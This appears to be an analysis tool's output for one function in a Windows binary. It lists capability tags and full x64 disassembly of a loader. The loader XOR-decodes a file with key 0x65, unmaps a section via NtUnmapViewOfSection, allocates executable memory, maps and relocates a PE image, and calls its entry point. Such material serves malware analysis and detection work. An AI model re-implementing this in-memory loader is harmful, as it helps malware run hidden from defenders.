Function at 0x140001300
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Parse pe header
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
push r13
sub rsp, 0x28
lea rdx, [0x14001c894]
call fcn.140005658
xor edx, edx
mov rcx, rax
mov rbx, rax
lea r8d, [rdx + 2]
call fcn.14000593c
mov rcx, rbx
call fcn.140005ef8
mov rcx, rbx
movsxd rdi, eax
call fcn.14000607c
lea rcx, [rdi + 1]
call fcn.140006108
mov r9, rbx
mov r8d, 1
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call fcn.140006370
mov rcx, rbx
call fcn.14000655c
xor r13d, r13d
mov ecx, r13d
test rdi, rdi
jle 0x14000140d
cmp rdi, 0x40
jb 0x1400013f6
movdqa xmm2, xmmword [str.eeeeeeeeeeeeeeee_]
mov rax, rdi
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
mov rdx, rdi
sub rdx, rax
lea rax, [rsi + 0x20]
nop
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add rcx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
cmp rcx, rdx
jl 0x1400013a0
cmp rcx, rdi
jge 0x14000140d
lea rax, [rcx + rsi]
sub rdi, rcx
nop dword [rax]
xor byte [rax], 0x65
lea rax, [rax + 1]
sub rdi, 1
jne 0x140001400
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x20], r15
test rsi, rsi
je 0x140001638
mov r12d, 0x5a4d
cmp word [rsi], r12w
jne 0x140001638
movsxd rax, dword [rsi + 0x3c]
cmp eax, 0x400
jg 0x140001638
cmp dword [rsi + rax], 0x4550
lea r15, [rsi + rax]
jne 0x140001638
mov r14, qword [r15 + 0x30]
lea rdi, [r15 + 0xb0]
cmp dword [rdi], r13d
lea rcx, str.ntdll.dll
cmove rdi, r13
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [r15 + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov edx, dword [r15 + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400014dd
test rdi, rdi
je 0x140001638
mov edx, dword [r15 + 0x50]
lea r9d, [rax + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140001638
mov r8d, dword [r15 + 0x54]
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x50], rbp
mov qword [r15 + 0x30], rbx
call fcn.140003650
mov ebp, r13d
cmp r13w, word [r15 + 6]
jae 0x140001533
lea rdi, [r15 + 0x11c]
nop word [rax + rax]
mov edx, dword [rdi]
mov ecx, dword [rdi - 8]
add rdx, rsi
mov r8d, dword [rdi - 4]
add rcx, rbx
call fcn.140003650
movzx eax, word [r15 + 6]
lea rdi, [rdi + 0x28]
inc ebp
cmp ebp, eax
jl 0x140001510
mov rcx, rbx
call fcn.140001060
cmp rbx, r14
je 0x140001628
mov esi, dword [r15 + 0x50]
test rbx, rbx
je 0x140001628
cmp word [rbx], r12w
jne 0x140001628
movsxd rax, dword [rbx + 0x3c]
cmp eax, 0x400
jg 0x140001628
cmp dword [rax + rbx], 0x4550
jne 0x140001628
mov ecx, dword [rax + rbx + 0xb0]
test ecx, ecx
je 0x140001628
mov ebp, dword [rax + rbx + 0xb4]
mov r12d, ecx
mov r11, r13
test rbp, rbp
je 0x140001628
nop dword [rax]
lea r10, [r11 + r12]
add r10, rbx
mov eax, dword [r10]
test eax, eax
je 0x140001617
mov ecx, dword [r10 + 4]
test ecx, ecx
je 0x140001617
lea r9, [rcx - 8]
mov edi, eax
shr r9, 1
lea r8, [r10 + 8]
mov rdx, r13
je 0x14000160b
nop dword [rax + rax]
movzx eax, word [r8]
mov ecx, eax
and eax, 0xfff
add rax, rdi
shr rcx, 0xc
test rcx, rcx
je 0x14000160b
cmp rcx, 3
jne 0x140001628
cmp rax, rsi
jae 0x140001628
lea rcx, [rax + rbx]
add r8, 2
mov rax, rbx
inc rdx
sub rax, r14
add qword [rcx], rax
cmp rdx, r9
jb 0x1400015d0
mov eax, dword [r10 + 4]
add r11, rax
cmp r11, rbp
jb 0x1400015a0
test r11, r11
je 0x140001628
lea rcx, [0x14001c890]
call fcn.1400066dc
mov eax, dword [r15 + 0x28]
add rax, rbx
call rax
mov rbp, qword [rsp + 0x50]
jmp 0x14000163a
xor al, al
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x60]
mov r12, qword [rsp + 0x58]
add rsp, 0x28
pop r13
pop rdi
pop rsi
pop rbx
ret